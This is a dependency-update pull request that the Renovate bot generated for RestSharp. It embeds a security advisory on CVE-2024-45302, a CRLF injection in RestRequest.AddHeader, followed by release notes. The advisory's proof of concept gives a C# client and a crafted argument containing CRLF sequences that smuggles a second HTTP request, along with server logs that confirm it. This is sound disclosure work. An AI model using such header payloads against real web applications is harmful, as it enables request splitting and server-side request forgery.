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Update dependency RestSharp to v112 [SECURITY]#98

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Update dependency RestSharp to v112 [SECURITY]#98
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renovate/nuget-restsharp-vulnerability

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This PR contains the following updates:

Package Change Age Confidence
RestSharp (source) 108.0.3 → 112.0.0 age confidence

CRLF Injection in RestSharp's RestRequest.AddHeader method

CVE-2024-45302 / GHSA-4rr6-2v9v-wcpc

More information

Details

Summary

The second argument to RestRequest.AddHeader (the header value) is vulnerable to CRLF injection. The same applies to RestRequest.AddOrUpdateHeader and RestClient.AddDefaultHeader.

Details

The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32 This method does not check for CRLF characters in the header value.

This means that any headers from a RestSharp.RequestHeaders object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.

PoC

The below example code creates a console app that takes one command line variable "api key" and then makes a request to some status page with the provided key inserted in the "Authorization" header:

using RestSharp;

class Program
{
    static async Task Main(string[] args)
    {
        // Usage: dotnet run <api key>
        var key = args[0];
        var options = new RestClientOptions("http://insert.some.site.here");
        var client = new RestClient(options);
        var request = new RestRequest("/status", Method.Get).AddHeader("Authorization", key);
        var response = await client.ExecuteAsync(request);
        Console.WriteLine($"Status: {response.StatusCode}");
        Console.WriteLine($"Response: {response.Content}");
    }
}

This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):

anonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Status: OK
Response: <html></html>

The application intends to send a single request of the form:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: <api key>
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br

But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: test
User-Agent: injected header!

and

GET /smuggled HTTP/1.1
Host: insert.some.site.here
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br

This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):

anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "RestSharp/111.4.1.0"
Impact

If an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.

Strictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.

Severity

  • CVSS Score: 5.7 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

restsharp/RestSharp (RestSharp)

v112.0.0

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What's Changed

New Contributors

Full Changelog: restsharp/RestSharp@111.4.1...112.0.0

v111.4.1

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What's Changed

New Contributors

Full Changelog: restsharp/RestSharp@111.4.0...111.4.1

v111.4.0

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What's Changed

New Contributors

Full Changelog: restsharp/RestSharp@111.3.0...111.4.0

v111.3.0

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What's Changed

New Contributors

Full Changelog: restsharp/RestSharp@111.2.0...111.3.0

v111.2.0

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What's Changed

Full Changelog: restsharp/RestSharp@111.1.0...111.2.0

v111.1.0

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v111.0.0

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What's Changed

New Contributors

Full Changelog: restsharp/RestSharp@110.2.0...111.0.0

v110.2.0

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What's Changed

Full Changelog: restsharp/RestSharp@110.1.0...110.2.0

v110.1.0

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What's Changed

Full Changelog: restsharp/RestSharp@110.0.0...110.1.0

v110.0.0

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What's Changed

Breaking change

The IRestClient interface signature is different, so any non-standard implementations need to adopt the changes.

To keep DefaultParameters thread-safe, it got a new type DefaultParameters, and request property Parameters has a dedicated type RequestParameter. Code-wise the change is non-breaking as the signatures are the same, but v110 is not binary compatible with previous versions. The difference is that DefaultParameters collection wraps all its mutations in a lock.

Full Changelog: restsharp/RestSharp@109.0.1...110.0.0

v109.0.1

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What's Changed

New Contributors

Full Changelog: restsharp/RestSharp@109.0.0...109.0.1

v109.0.0

What's Changed

New Contributors

Full Changelog: restsharp/RestSharp@108.0.3...109.0.0

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This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot force-pushed the renovate/nuget-restsharp-vulnerability branch from 39d4f5a to 1d27492 Compare August 10, 2025 15:43
@renovate renovate Bot force-pushed the renovate/nuget-restsharp-vulnerability branch from 1d27492 to dc5865b Compare October 14, 2025 12:08
@renovate renovate Bot changed the title Update dependency RestSharp to v112 [SECURITY] Update dependency RestSharp to v112 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot deleted the renovate/nuget-restsharp-vulnerability branch March 27, 2026 02:45
@renovate renovate Bot changed the title Update dependency RestSharp to v112 [SECURITY] - autoclosed Update dependency RestSharp to v112 [SECURITY] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate renovate Bot force-pushed the renovate/nuget-restsharp-vulnerability branch 2 times, most recently from dc5865b to bc0b7b2 Compare March 30, 2026 18:59
@renovate renovate Bot changed the title Update dependency RestSharp to v112 [SECURITY] Update dependency RestSharp to v112 [SECURITY] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title Update dependency RestSharp to v112 [SECURITY] - autoclosed Update dependency RestSharp to v112 [SECURITY] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/nuget-restsharp-vulnerability branch 2 times, most recently from bc0b7b2 to 8f2bb15 Compare April 27, 2026 20:07
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